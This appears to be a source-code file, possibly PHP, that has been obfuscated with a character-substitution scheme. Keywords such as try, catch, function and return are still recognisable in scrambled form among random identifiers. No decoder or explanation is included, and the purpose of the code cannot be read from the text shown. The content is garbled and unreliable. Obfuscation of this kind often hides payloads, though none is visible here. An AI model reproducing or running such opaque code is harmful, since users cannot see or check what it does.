~y	}HN	jEF\M	E@GB	\G@O@JH]@FG##					[L]\[G#	T##			#Y[CPCJC\_S_[SHCOv #\YMH]LvFY]@FGKKAEPBMEYMGE 	SPDBZLLFM]   #T						JH]JA		}A[F^HKEL			E]GYK]v 	R#			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #		T		JH]JA		lQJLY]@FG				E]GYK]v 			R#	yz{	GHDLZYHJLZ	JHYHK@E@]P	NH]L##		T####	T#		#			O\GJ]@FG		NG]ZNBv]B[\^^ZGO ##			R###][P	R###					###		YEA^CJENGPQ							LSQQPGQ_@[D^ #				##		@O	YEA^CJENGPQ	UU		@N[KMFGKOJZ YEA^CJENGPQ 			  	[L]\[G#@O					_SMG[M@XJvKJSK\YEA^CJENGPQ  	RCDDXZ\S_[^GB^_]CDDXZ\S CDDXZ\SCDDXZ\S##	FBQKvM[JB\ZMHPE\SPDBZLLFM] 	KKAEPBMEYMGE  #[L]\[G#	T###			@O					@^v_XSYHPXKSN @N[KMFGKOJZ  					NL]v][HGZ@LG]SPDBZLLFM]   	[L]\[G#		###	SLNBE_^K@P						\vJHFGLF__PBZFA]G ##JELH[Z]H]JHJAL][\L ###	@O	i@N[KMFGKOJZ SLNBE_^K@P 					i@^v_XSYHPXKSN SLNBE_^K@P  	R#			[L]\[G#	T#					###				@O			i@N[KMFGKOJZ SLNBE_^K@P  			R#							G_BODYOOLHFMO						i\DHZB ##					vGQBQZEPNCOHHMSLNBE_^K@P						 		][\L #					i\DHZBG_BODYOOLHFMO #	XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P		  #	JELH[Z]H]JHJAL][\L #	T	LEZL				@O	iSPDBZLLFM] SLNBE_^K@P 					UU	iKKAEPBMEYMGE SLNBE_^K@P  			R#					XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P		  #	JELH[Z]H]JHJAL][\L #			T#					#		@O					i@N[KMFGKOJZ SLNBE_^K@P 						i@N[KMFGKOJZ SLNBE_^K@P 		UU	iSPDBZLLFM] SLNBE_^K@P  			iKKAEPBMEYMGE SLNBE_^K@P  		R#	G_BODYOOLHFMO				i\DHZB #		vGQBQZEPNCOHHMSLNBE_^K@P		 			][\L #		i\DHZBG_BODYOOLHFMO ##						XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P				  #	JELH[Z]H]JHJAL][\L #				T#			#				JELH[Z]H]JHJAL][\L #				@O		i@^v_XSYHPXKSN SLNBE_^K@P 		UU				iKKAEPBMEYMGE SLNBE_^K@P 		UU	i@N[KMFGKOJZ SLNBE_^K@P  		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 		SPDBZLLFM]  #@O			KKAEPBMEYMGE @^v_XSYHPXKSN   		iZL]v][HGZ@LG]@^v_XSYHPXKSN 				  #	[L]\[G#		T####			#					BYMQFJC@HX^]				SLNBE_^K@P													@BZAN\Q\PQ@EXJP ####						@O	SDLMOCK_]JSDN^BYMQFJC@HX^]  		R#[L]\[G#T#	@O	iKKAEPBMEYMGE BYMQFJC@HX^] 						iKKAEPBMEYMGE BYMQFJC@HX^] 					 												SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 		iKKAEPBMEYMGE BYMQFJC@HX^]   							@N[KMFGKOJZ YEA^CJENGPQ  	R#			EHOBPA]OAvHBYMQFJC@HX^] #K@^Y[NAC\OK]^G ####	NJAKENZPDH_SD_AN #		[L]\[G#					T#	@O			i@^v_XSYHPXKSN BYMQFJC@HX^] 				iSPDBZLLFM] BYMQFJC@HX^] 				QKQM  			RQQPDO[]EPAHYYvQOKDQQPDO[]EP QQPDO[]EPQQPDO[]EP#		CB_EPC								Z][@GN 	iSPDBZLLFM] BYMQFJC@HX^]	OHEZL			G\EE									  #@O	SPDBZLLFM] CB_EPC 				@N[KMFGKOJZ KKAEPBMEYMGE 		CB_EPC		vMD 					_L[Z@FGvJFDYH[LvMDrt		^NKBHS]S^NFHGH^O] 		  		[L]\[G##\GZL]CB_EPC		vMD #			T#				PA_C\vG									ZKXOKS\JGG_ZQC@QYBYMQFJC@HX^]	]ODXFFOB\PHLBFG^YEA^CJENGPQ  ####		@O	PA_C\vG	UU			i@^v_XSYHPXKSN BYMQFJC@HX^] 			UU					i@^v_XSYHPXKSN BYMQFJC@HX^] 			 	UU				@^v_XSYHPXKSN C^v@Z@\@ACBCLZ][@GN 	i@^v_XSYHPXKSN BYMQFJC@HX^]   				KKAEPBMEYMGE YEA^CJENGPQ  			R#	@O				PA_C\vG					iSPDBZLLFM] BYMQFJC@HX^]  					R#			CB_EPC							Z][@GN 		iSPDBZLLFM] BYMQFJC@HX^]	OHEZL	G\EE			  #								J\XBCBvK							@^v_XSYHPXKSN CB_EPC 		SPDBZLLFM] @^v_XSYHPXKSN 		CB_EPC	vMD 							_L[Z@FGvJFDYH[LvMDrt			^NKBHS]S^NFHGH^O] 		 #					\GZL]CB_EPC				vMD ##	@O		J\XBCBvK 		R#XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]				  #@PE[Z\[XJ_PLXGBYMQFJC@HX^] #			T#			T#				@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   	iZL]v][HGZ@LG]@N[KMFGKOJZ 								  #[L]\[G#	T##LCEBMJ]BEBYMQFJC@HX^] O]OKBAU]vSGO]OKBAw#	XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]			  #		EHOBPA]OAvHBYMQFJC@HX^] #	K@^Y[NAC\OK]^G #						NJAKENZPDH_SD_AN #		T				JH]JA						}A[F^HKEL		E]GYK]v 			R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #			T	JH]JA	lQJLY]@FG						E]GYK]v 				R##	T#T#	O\GJ]@FG	Q]H@CDP^J^SMFZ ##R#	][P			R#YEA^CJENGPQ			LSQQPGQ_@[D^ #@O	YEA^CJENGPQ				K[N[JPDKAX]LSYEA^CJENGPQ  	R#	G_BODYOOLHFMO					AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		 #	HB@L^_DN_							[FB]XFO_^S@^v_XSYHPXKSN G_BODYOOLHFMO 							G_BODYOOLHFMO						 #			v[YFvAOJLv							[FB]XFO_^SYEA^CJENGPQ #			@O		KKAEPBMEYMGE G_BODYOOLHFMO 				UU		KKAEPBMEYMGE G_BODYOOLHFMO 						QQK 		UU		K[N[JPDKAX]LSG_BODYOOLHFMO 		UU				HB@L^_DN_									UU		v[YFvAOJLv									_L[Z@FGvJFDYH[Lv[YFvAOJLv	HB@L^_DN_	   		R#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			YEA^CJENGPQ	@^v_XSYHPXKSN  #	@O	@^v_XSYHPXKSN KKAEPBMEYMGE   	R#	i\YMH]LvFY]@FGSPDBZLLFM] 				@N[KMFGKOJZ  #		i\YMH]LvFY]@FGKKAEPBMEYMGE 						KKAEPBMEYMGE  #i\YMH]LvFY]@FGKKAEPBMEYMGE 					@N[KMFGKOJZ  #						T#	@O	KKAEPBMEYMGE SPDBZLLFM]   	iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #T###				T####					#	@O	KKAEPBMEYMGE @^v_XSYHPXKSN  								@^v_XSYHPXKSN @N[KMFGKOJZ   					R#		\MAN^LXFE					NL]vFY]@FGKKAEPBMEYMGE  #	@O				\MAN^LXFE			OHEZL				\MAN^LXFE					^NKBHS]S^NFHGH^O]  			R#		i\YMH]LvFY]@FGSPDBZLLFM] 			^NKBHS]S^NFHGH^O] 	@^v_XSYHPXKSN  #				T#T#	@GZ]HG]@H]L	Y[FCLJ]@_L	Y[FFO]L[D##	@O				SPDBZLLFM] KKAEPBMEYMGE  		UU					HMMvFY]@FGKKAEPBMEYMGE 					^NKBHS]S^NFHGH^O] 				KKAEPBMEYMGE   	R#	[L]\[G##		T#			#				QQ]PDLN_JDDEKF_F #	@O	KKAEPBMEYMGE KKAEPBMEYMGE   		R#						i\YMH]LvFY]@FGKKAEPBMEYMGE 		SPDBZLLFM]  #		i\YMH]LvFY]@FG@N[KMFGKOJZ 					SPDBZLLFM]  #i\YMH]LvFY]@FG@N[KMFGKOJZ 					SPDBZLLFM]  #			T#		@O				@N[KMFGKOJZ @^v_XSYHPXKSN   		iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #	#		@O				YEA^CJENGPQ							K[N[JPDKAX]LSYEA^CJENGPQ  	R#	CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 		YEA^CJENGPQ						KKAEPBMEYMGE  #	T#	iKLGJADH[B	Y[F_@ML[##^MCBDLPLE@ONG\EE #							#					XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 					QJHQH  #	iLGHKEL	[LZ\DLZLZZ@FG######NPBEZ_MS\_BK@N[KMFGKOJZ 		@^v_XSYHPXKSN 	 #	##							NPBEZ_MS\_BK@N[KMFGKOJZ 				@N[KMFGKOJZ 				 #			T	JH]JA		}A[F^HKEL		E]GYK]v 			R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				E]GYK]v #		@O	KKAEPBMEYMGE @^v_XSYHPXKSN   				iMLEL]LvFY]@FG@^v_XSYHPXKSN  #		T	JH]JA					lQJLY]@FG			E]GYK]v 		R#							@O			@N[KMFGKOJZ @^v_XSYHPXKSN   						iMLEL]LvFY]@FGSPDBZLLFM]  #		T#T#	O\GJ]@FG		XvYCZ_@D^XXNF\L #					R#					][P			RKJSHHQLP@MEXEN_]AXXGY\KJSHHQLP@M#					@O	@N[KMFGKOJZ KKAEPBMEYMGE   		R#	~y	lG]@]P	y[F_@ML[	Z[JZL]	MLZJ[@Y]F[##i@^v_XSYHPXKSN AFDLv\[E 	H[[HP@^v_XSYHPXKSN 					 	@^v_XSYHPXKSN 		OHEZL	KKAEPBMEYMGE 				OHEZL  ####		T#	yay		LG\D	JFGO@N\[L	[LN@Z][P##T		JH]JA	}A[F^HKEL		E]GYK]v 				R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #		T	JH]JA	lQJLY]@FG	E]GYK]v 		R#	T#								T#		#					O\GJ]@FG	QO\[SCD ###R#				Z]H]@J	HHA_XPL				OHEZL#@O			HHA_XPL 		[L]\[G#			HHA_XPL		][\L#					][P		R#	@O						SPDBZLLFM] @^v_XSYHPXKSN  	UU			@ZvHMD@G  	R#[L]\[G#	T#@O	SPDBZLLFM] @N[KMFGKOJZ  				UU			J\[[LG]v\ZL[vJHGKKAEPBMEYMGE   		R#						[L]\[G#T#					\SN[HE@FQCPBQ		@ZZL]v{lx|lz}r@^v_XSYHPXKSN t 			v{lx|lz}r@N[KMFGKOJZ t						#	\SN[HE@FQCPBQ				@N[KMFGKOJZ \SN[HE@FQCPBQ 			SPDBZLLFM] \SN[HE@FQCPBQ 		#		@O		\SN[HE@FQCPBQ			KKAEPBMEYMGE 								\SN[HE@FQCPBQ				@^v_XSYHPXKSN  	R#[L]\[G#		T#								#^v[v\\OA								H[[HP ##			@O	\SN[HE@FQCPBQ				@N[KMFGKOJZ  			R#		ZH[FO]F\]G						@ZZL]v{lx|lz}rSPDBZLLFM] t 					v{lx|lz}r@N[KMFGKOJZ t								#				ZH[FO]F\]G			@N[KMFGKOJZ ZH[FO]F\]G 				@N[KMFGKOJZ ZH[FO]F\]G 						#	@O			ZH[FO]F\]G							ZH[FO]F\]G				X^A[SKOSH[  						R#	^v[v\\OArt				ZH[FO]F\]G#T#		T	LEZL			R#	Z][LHD@GN	Z]HJBO[HDL##				#				PvKvHJ^_FJX						@ZZL]v{lx|lz}r@^v_XSYHPXKSN t 						v{lx|lz}r@^v_XSYHPXKSN t					H[[HP #					PvKvHJ^_FJX							SPDBZLLFM] PvKvHJ^_FJX 					PvKvHJ^_FJX			H[[HP #				OF[LHJA	PvKvHJ^_FJX	HZ	ZH[FO]F\]G 	R#	EFJB	ZL[@HE@SL[	OF[	DKZ][@GN	Z][@J]#####		ZH[FO]F\]G						SPDBZLLFM] ZH[FO]F\]G 				@^v_XSYHPXKSN ZH[FO]F\]G 					####	@O				ZH[FO]F\]G		ZH[FO]F\]G				X^A[SKOSH[  		R#		^v[v\\OArt							ZH[FO]F\]G#	T#					T#							T#			@O	LDY]P^v[v\\OA  		R#[L]\[GvBSJvD\UMN[KHPPJSZvBSJvD\w#T#	LQYLJ]LM	ZE@M@GN^@GMF^	##				LJvB[MSFM@NB				OHEZL#			OF[LHJA		^v[v\\OA			HZ		ZH[FO]F\]G 		R@[E@HSDDONXQOQJ KLNDQEA@[E@HSDDONX#					@O				]ACQKYZPMZH[FO]F\]G  	R#BML\NDXM[]MPGSZH[FO]F\]G #	LJvB[MSFM@NB						][\L#T#	T#		@O	LJvB[MSFM@NB 				R####	@O			SPDBZLLFM] SPDBZLLFM]  			@N[KMFGKOJZ @N[KMFGKOJZ   						R#	yayz]HG	EL_LE		O[LL	_HE@MH]F[####	^YvZHOLv[LM@[LJ]HMD@Gv\[E@N[KMFGKOJZ   #					T#T#					T		JH]JA	}A[F^HKEL		E]GYK]v 				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #			T		JH]JA		lQJLY]@FG			E]GYK]v 			R#	yz{	GHDLZYHJLZ	H_@O	OHEEKHJB##	T#T#			O\GJ]@FG						HG^]FXLGKKSZNN@vZL^]JZD			H]EXBNXMYP #			R####	@O		H]EXBNXMYP							KKAEPBMEYMGE  		R#	YE\N@GZ								nefkhezr@N[KMFGKOJZ t#		@O		@ZZL]YE\N@GZrKKAEPBMEYMGE t 		UU			@N[KMFGKOJZ YE\N@GZr@N[KMFGKOJZ t  		R####		[L]\[G	N@vZL^]JZD##T#					SCvYLXv						MLO@GLM@N[KMFGKOJZ  				~yvjfg}lg}vm`{				MLO@GLMKKAEPBMEYMGE  							hkzyh}a						@N[KMFGKOJZ 					 #				@O	SCvYLXv					 				R#				[L]\[G					N@vZL^]JZD#								T#	PY@\KEYCOvC				H[[HP@N[KMFGKOJZ 						SPDBZLLFM] 		@^v_XSYHPXKSN 								KKAEPBMEYMGE  #OF[LHJA	PY@\KEYCOvC						HZ		_DPPDMH_				^NSQ^GGvA 					R####@O	@ZZL]YE\N@GZrKKAEPBMEYMGE tr_DPPDMH_t  		R#	JFG]@G\L#T#	i\GDF\G]	][@L#####	JXS@GCB_LC		i@N[KMFGKOJZ SCvYLXv								_DPPDMH_ #@O					@^v_XSYHPXKSN JXS@GCB_LC 		UU						SPDBZLLFM] JXS@GCB_LC			SPDBZLLFM] 			^NSQ^GGvA			SPDBZLLFM]  						OHEZL 				R#JFG]@G\L#						T###				C]CKCK@GOMX\v					@^v_XSYHPXKSN KKAEPBMEYMGE 								^NSQ^GGvA				@N[KMFGKOJZ 						^NSQ^GGvA			SPDBZLLFM] 							JXS@GCB_LC #								@O	@N[KMFGKOJZ C]CKCK@GOMX\v  	R#		JFG]@G\L#			T#C]CKCK@GOMX\v						@^v_XSYHPXKSN C]CKCK@GOMX\v ###		@O		C]CKCK@GOMX\v								UU		C]CKCK@GOMX\v							KKAEPBMEYMGE 			UU				C]CKCK@GOMX\v				SPDBZLLFM]  	R#	~y	\ZLkEFJBy[FYZ	][HGZ@LG]	}}e##			\GZL]YE\N@GZr@^v_XSYHPXKSN tr_DPPDMH_t #								T#			T#			[L]\[G		N@vZL^]JZD#					T####					@O		H]EXBNXMYP			@N[KMFGKOJZ  		R#	[L]\[G	N@vZL^]JZD#	T#YE\N@GZ						nefkhezrSPDBZLLFM] t##			Q@MCBMAZ]\_KY							@N[KMFGKOJZ [ZKLSD_  #					@O			@ZZL]YE\N@GZr@N[KMFGKOJZ trQ@MCBMAZ]\_KYt  			R#		\GZL]YE\N@GZrKKAEPBMEYMGE trQ@MCBMAZ]\_KYt #T#		[L]\[G		N@vZL^]JZD#				T#	@O		SPDBZLLFM] KKAEPBMEYMGE   		R#		O\GJ]@FG	KvOJvDLOYELNJFD ##R#@O			HHP\_[vSHKGSLD  				R#							[L]\[G##			T#		MLXDFHODDKY		SPDBZLLFM] [ZKLSD_  #	M_XXHYC^C_SP						KKAEPBMEYMGE [ZKLSD_ 	SPDBZLLFM]  #					B^APXFvAX						M_XXHYC^C_SP									MLXDFHODDKY#					LJAF		@N[KMFGKOJZ 								LZJvH]][MLXDFHODDKY 		@N[KMFGKOJZ 					LZJvH]][B^APXFvAX 				@N[KMFGKOJZ #		LJAF	@N[KMFGKOJZ 					LZJvCZMLXDFHODDKY 					@N[KMFGKOJZ 										LZJvCZB^APXFvAX 		KKAEPBMEYMGE #	T#T#		@O			@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#						O\GJ]@FG	H@ZJ^^FJX^FQBJvM\\KNFB^KC #R#	EFNH[@]AD@J	MLJF[H]F[	##		@O		SPDBZLLFM] M\\KNFB^KC  		R#	[L]\[G		M\\KNFB^KCN^L\HLBGNZ_CGSPXN^L\HLBGN#		T#	MLXDFHODDKY			X^A[SKOSH[ #@O						@ZZL]M\\KNFB^KC[LZYFGZLrMLXDFHODDKYt  			R#		\GZL]M\\KNFB^KC[LZYFGZLrMLXDFHODDKYt ###						T#	LZZLG]@HE	HEL[]	##					[L]\[G						M\\KNFB^KC#				T#T#	@O	SPDBZLLFM] SPDBZLLFM]   	R##O\GJ]@FG	OH]Z[]MYBFL][_XAYE\N@GZ #R#		_ONSMO			X^A[SKOSH[ #	@O	@ZZL]YE\N@GZr_ONSMOt  				R#					\GZL]YE\N@GZr_ONSMOt #		##			T#				M_XXHYC^C_SP					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  #		B^APXFvAX				M_XXHYC^C_SP							@^v_XSYHPXKSN [ZKLSD_  BZ]\HZZJ\EEFKCSvSQBZ]\HZZJ\ BZ]\HZZJ\BZ]\HZZJ\#@O			@ZZL]YE\N@GZrB^APXFvAXt  		R#	~y	x\L[P	eFFY	MLGZL	X\F]@LG]##	\GZL]YE\N@GZrB^APXFvAXt #					T#		[L]\[G	YE\N@GZ#T#	T#						O\GJ]@FG		^J@DHNXCNX@NNA@G[EvPLS #								R#	@O		KKAEPBMEYMGE A@G[EvPLS  					R#				[L]\[G	A@G[EvPLS#	T#		LGQKMPQ								#	@O				@N[KMFGKOJZ KKAEPBMEYMGE  		@N[KMFGKOJZ [ZKLSD_   				R#			CP@FFF^]QMEM						NL]vYE\N@GvMH]H[ZKLSD_ 					OHEZL				OHEZL #		LGQKMPQ					@ZZL]CP@FFF^]QMEMr@N[KMFGKOJZ t 				CP@FFF^]QMEMr@N[KMFGKOJZ t			####			T#			X@@XEDH\L					H[[HPKKAEPBMEYMGE 	SPDBZLLFM]  #		OF[LHJA	X@@XEDH\L					HZ			[FBC[\OPSX 	R#	@O					@ZZL]A@G[EvPLSr[FBC[\OPSXtrKKAEPBMEYMGE t 		UU				@N[KMFGKOJZ A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN t  				R#				JFG]@G\L###		T#		OF[LHJA				A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN t		HZ					BLP							FOD\QASBO 				R####						@O	@N[KMFGKOJZ BLP		X^A[SKOSH[  						OHEZL			UU						BLP					X^A[SKOSH[  	R#							\GZL]A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN trBLPt #					JFG]@G\L#		T##			@O			LGQKMPQ									BLP			LGQKMPQ 				R##	\GZL]A@G[EvPLSr[FBC[\OPSXtr@N[KMFGKOJZ trBLPt #	JFG]@G\L#	T#								T##		T#	~y	gH_@NH]@FG	kEFJB	HG]@DFGF]FGL	[HM@Q][LL##	OF[LHJA		H[[HPKKAEPBMEYMGE 					SPDBZLLFM]  		HZ					P@F[FZFKM[[\C 			R#	\Z_[H^v[_NZLN					@ZZL]A@G[EvPLSrP@F[FZFKM[[\Ctr@^v_XSYHPXKSN t 			@^v_XSYHPXKSN A@G[EvPLSrP@F[FZFKM[[\CtrSPDBZLLFM] t 								A@G[EvPLSrP@F[FZFKM[[\CtrKKAEPBMEYMGE t						H[[HP ##					@O					\Z_[H^v[_NZLN 		JFG]@G\L#			^@O_ONPYFv							MLO@GLMSPDBZLLFM]  					~yd|vye|n`gvm`{		MLO@GLMSPDBZLLFM]  			~yvjfg}lg}vm`{			KKAEPBMEYMGE 												 ####			vEvYvMPDEJC						H[[HP PNvJ^CBQQM ]CF]\LNYNSY[PNvJ^CB#	@O						LGQKMPQ				 			vEvYvMPDEJCrt			LGQKMPQ#			vEvYvMPDEJCrt		@^v_XSYHPXKSN [ZKLSD_  ##					@O	^@O_ONPYFv								iSPDBZLLFM] ^@O_ONPYFv 		SPDBZLLFM] @N[KMFGKOJZ   			RS_OQYDZBN]UDCH]MDKFDS_OQYDZBN]w##						OF[LHJA						H[[HP 	iKKAEPBMEYMGE ^@O_ONPYFv			@N[KMFGKOJZ  		HZ			[GAZLXPJZOZ 		R#	_JQ]ZSF				iKKAEPBMEYMGE [GAZLXPJZOZ		OHEZL		G\EE				  #			@O	@N[KMFGKOJZ _JQ]ZSF 				UU		KKAEPBMEYMGE _JQ]ZSF	SPDBZLLFM]  											OHEZL 		JFG]@G\L###	@O	SPDBZLLFM] KKAEPBMEYMGE 	_JQ]ZSF				\PJ[A_]P  		R#	NvFFG]H_SOK				@N[KMFGKOJZ \PJ[A_]Prt ##		@O	NvFFG]H_SOK			 			vEvYvMPDEJCrt					NvFFG]H_SOK#		T#	O@G@]L	K\EBALHM#####			vEvYvMPDEJCrt			SPDBZLLFM] [GAZLXPJZOZ #	T#	T####		OF[LHJA	\Z_[H^v[_NZLN		HZ	BLP			FOD\QASBO 	R#OF[LHJA				vEvYvMPDEJC	HZ			GY@BPM[JBAv]X 				R#	@O	BLP				GY@BPM[JBAv]X	UU	BLP					ZHG@]@SLv]LQ]vO@LEMGY@BPM[JBAv]X  						R#	\GZL]A@G[EvPLSrP@F[FZFKM[[\Ctr@^v_XSYHPXKSN trBLPt #	K[LHBO\JMJXDQLQ ^KXCvO\JMJXD#T#T###	T#T###E^PFJCEC						@ZZL]A@G[EvPLSr@^v_XSYHPXKSN trKKAEPBMEYMGE t 					KKAEPBMEYMGE A@G[EvPLSrSPDBZLLFM] trSPDBZLLFM] t 					A@G[EvPLSrKKAEPBMEYMGE trSPDBZLLFM] t			H[[HP #		@O		E^PFJCEC 	R#SCvYLXv				MLO@GLM@^v_XSYHPXKSN  							~yvjfg}lg}vm`{					MLO@GLMSPDBZLLFM]  				hkzyh}a			@^v_XSYHPXKSN 							 #PY@\KEYCOvC					H[[HPKKAEPBMEYMGE 							KKAEPBMEYMGE 		@^v_XSYHPXKSN 							@^v_XSYHPXKSN  #	OF[LHJA				E^PFJCEC			HZ	BLP							FOD\QASBO 				R#						@O			@ZZL]PY@\KEYCOvCrBLPt 		UU				SCvYLXv									 	JFG]@G\L##JXS@GCB_LC		i@^v_XSYHPXKSN SCvYLXv							BLP		OHEZL		G\EE		  #				@O				@^v_XSYHPXKSN JXS@GCB_LC 							@N[KMFGKOJZ JXS@GCB_LC		@^v_XSYHPXKSN 				PY@\KEYCOvCrBLPt					KKAEPBMEYMGE  					OHEZL				UU	KKAEPBMEYMGE JXS@GCB_LC						@N[KMFGKOJZ  		OHEZL  			R#\GZL]A@G[EvPLSr@N[KMFGKOJZ tr@^v_XSYHPXKSN trBLPt ###T#	MLY[F_@Z@FG	OLHZ@KEL	DLDLG]F#####	T#T#	~y	yHNL	e@Z]	HJBGF^ELMNL	LOOLJ]]PYL##						[L]\[G	A@G[EvPLS#		T#			#			O\GJ]@FG			OPJZY^vZQ]ZMCQ]D\vXY^ZXKLC] #R#					@O							KKAEPBMEYMGE XY^ZXKLC]  		R#	YH]JA	]F]HE	J@YAL[Z\@]L##[L]\[G	XY^ZXKLC]#T#		O_YKE[ZYOF							@N[KMFGKOJZ [ZKLSD_  #			[_OAEKBF@SA				KKAEPBMEYMGE O_YKE[ZYOF			yh}a`gofvo`elghdl #				@NYAOBHL				H[[HP#		H[[HPSPDBZLLFM] 				
			@^v_XSYHPXKSN O_YKE[ZYOF			
 		SPDBZLLFM] 			@^v_XSYHPXKSN 							][\L ####				H[[HP@N[KMFGKOJZ 							KKAEPBMEYMGE 						@^v_XSYHPXKSN [_OAEKBF@SA	
 					KKAEPBMEYMGE 		SPDBZLLFM] 								][\L # #		@O	@ZZL]XY^ZXKLC]r@N[KMFGKOJZ t 		KKAEPBMEYMGE XY^ZXKLC]rKKAEPBMEYMGE t  						R#								OF[LHJA		XY^ZXKLC]rSPDBZLLFM] t		HZ		]B_XAL@						ZNLJNSXQQYJ 		R##	@O				@^v_XSYHPXKSN ZNLJNSXQQYJ 	UU									@^v_XSYHPXKSN ]B_XAL@  		R#	JFG]@G\L#T####						@O				@ZZL]XY^ZXKLC]rKKAEPBMEYMGE tr]B_XAL@trSPDBZLLFM] t 				UU					KKAEPBMEYMGE XY^ZXKLC]r@N[KMFGKOJZ tr]B_XAL@trSPDBZLLFM] t  	R###XY^ZXKLC]rKKAEPBMEYMGE tr]B_XAL@trKKAEPBMEYMGE t					H[[HP #		T#					OF[LHJA				@NYAOBHL			HZ			]DPCCAMC^M 			R#	OFEMJFGZ]	NLGL[HE[LJ\[Z@_L	APYL[EFNEFN#####XY^ZXKLC]rSPDBZLLFM] tr]B_XAL@trSPDBZLLFM] trt					]DPCCAMC^M#				T#	T#	T#	[L]\[G	XY^ZXKLC]#	T#	#				O\GJ]@FG				XZLMPKMJG[\ #	RBEQDPyayv`g}vdhqyayv`g}vdhqOSvX^HCHEQBEQDP#					][P	R#			@O			MLO@GLM@N[KMFGKOJZ  				UU		JFGZ]HG]SPDBZLLFM]  					  						R#			[L]\[G@GOSYX[vEYJQyayv`g}vdhqyayv`g}vdhqS[QvDXXFPYN@GOSYX[vEYJQ#			T#						@O		@^v_XSYHPXKSN @^v_XSYHPXKSN 		OHEZL  			R#	Y[@D@]@_L[LJ\[Z@_L	O@E]L[JAH@G	##	[L]\[G#			T#HM]P@DK									@N[KMFGKOJZ [ZKLSD_  #					EOH@FM]XYKJ			MLO@GLMKKAEPBMEYMGE  				~yvye|n`gvm`{						#	K@vMQYO^Q			H[[HP#	EOH@FM]XYKJ							@N[KMFGKOJZ #			EOH@FM]XYKJ							SPDBZLLFM] ####							EOH@FM]XYKJ			@^v_XSYHPXKSN #						 ##AGD][^_\NNAB_						#	OF[LHJA		K@vMQYO^Q			HZ		MLXDFHODDKY 	R#@O	MLXDFHODDKY														iSPDBZLLFM] MLXDFHODDKY 					iSPDBZLLFM] MLXDFHODDKY  		R####			AGD][^_\NNAB_				MLXDFHODDKY#		K[LHB#			T#	T#			@O					AGD][^_\NNAB_		 		R#			[L]\[G#		T#					BGD@ALODDv				@^v_XSYHPXKSN AGD][^_\NNAB_ #ZYEvH\]FEFHMv[LN@Z]L[O\GJ]@FG	JSMMXJQZ 		\ZL						BGD@ALODDv 				R#	OF[LHJA					H[[HPBGD@ALODDv											JSMMXJQZ			SPDBZLLFM] 				BGD@ALODDv											JSMMXJQZ					@^v_XSYHPXKSN  				HZ		SJHBBJSPA_K\E 		R####					@O				i@N[KMFGKOJZ SJHBBJSPA_K\E  				R#@GJE\MLvFGJL		SJHBBJSPA_K\E#						[L]\[G#	T####		T####						T #			]KD]PF\EJY				i@^v_XSYHPXKSN AGD][^_\NNAB_ #	@O	]KD]PF\EJY								OHEZL					UU		@N[KMFGKOJZ ]KD]PF\EJY						KKAEPBMEYMGE  						OHEZL 					R####					[L]\[G#T#		]KD]PF\EJY							@N[KMFGKOJZ KKAEPBMEYMGE 					]KD]PF\EJY #					]KD]PF\EJY		@^v_XSYHPXKSN @N[KMFGKOJZ 			@N[KMFGKOJZ 	]KD]PF\EJY #		HQLGMASQPXKN								Jv[GJMMAY\BvJQLCQ^D_NvFJEN[SF 	KKAEPBMEYMGE  #		@O			HQLGMASQPXKN			OHEZL 			RZYAOFBOSL]MAF^GZQ^ZYAOFBOS#				[L]\[G#T#			iSPDBZLLFM] HQLGMASQPXKN	SPDBZLLFM] 						]KD]PF\EJY #][P	R#		i@GJE\ML	HQLGMASQPXKN#T	O@GHEEP		R#			@PE[Z\[XJ_PLXGHQLGMASQPXKN #				T#			]]D[K\CH_[\\^N									SPDBZLLFM] HM]P@DK		yh}a`gofvo`elghdl #		nefkhezr@N[KMFGKOJZ t			HM]P@DK#		nefkhezr@^v_XSYHPXKSN t							]]D[K\CH_[\\^N#	YJY_M@[			SPDBZLLFM] #			SPDBZLLFM] ##					@N[KMFGKOJZ #								@N[KMFGKOJZ #				KKAEPBMEYMGE ##				T#		KKAEPBMEYMGE #		T#			T#					AJN\DFvv					Jv[GJMMAY\BvJQLCQ^D_NvFJEN[SF 			SPDBZLLFM]  #					@O		AJN\DFvv 			R#	Z][LGN]A[LM\JL	HJJ\D\EH]F[	OF[	~y	lG]@]P	y[F_@ML[##			iKKAEPBMEYMGE AJN\DFvv		YJY_M@[ #			][P		R##			i@GJE\ML		AJN\DFvvEQGEKvCGLX\YG^]AGEQGEKvCGLX\Y#		T	O@GHEEP		R#			@PE[Z\[XJ_PLXGAJN\DFvv #	T#			T#	\G[FEE	OHJ]F[##				T						JH]JA		}A[F^HKEL						E]GYK]v 			R#								FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #	T						JH]JA	lQJLY]@FG		E]GYK]v 	R#					T#	~y	k\]]FG	kEFJB	[LELHZL	][@L##				T#@O		KKAEPBMEYMGE KKAEPBMEYMGE   	RLZvOvPQSOLMZGDSLZvOvP#O\GJ]@FG					FBJX[HQZ]JLP^HAvP]\PF^ZZ]	Z@MPOGPPF #	R#				@O						@N[KMFGKOJZ ^HAvP]\PF^ZZ]  	R#	iHJ]@_H]L	[H]LE@D@]L[##				[L]\[G		^HAvP]\PF^ZZ]####						T#				PJPJNDFGN			H[[HPSPDBZLLFM] 					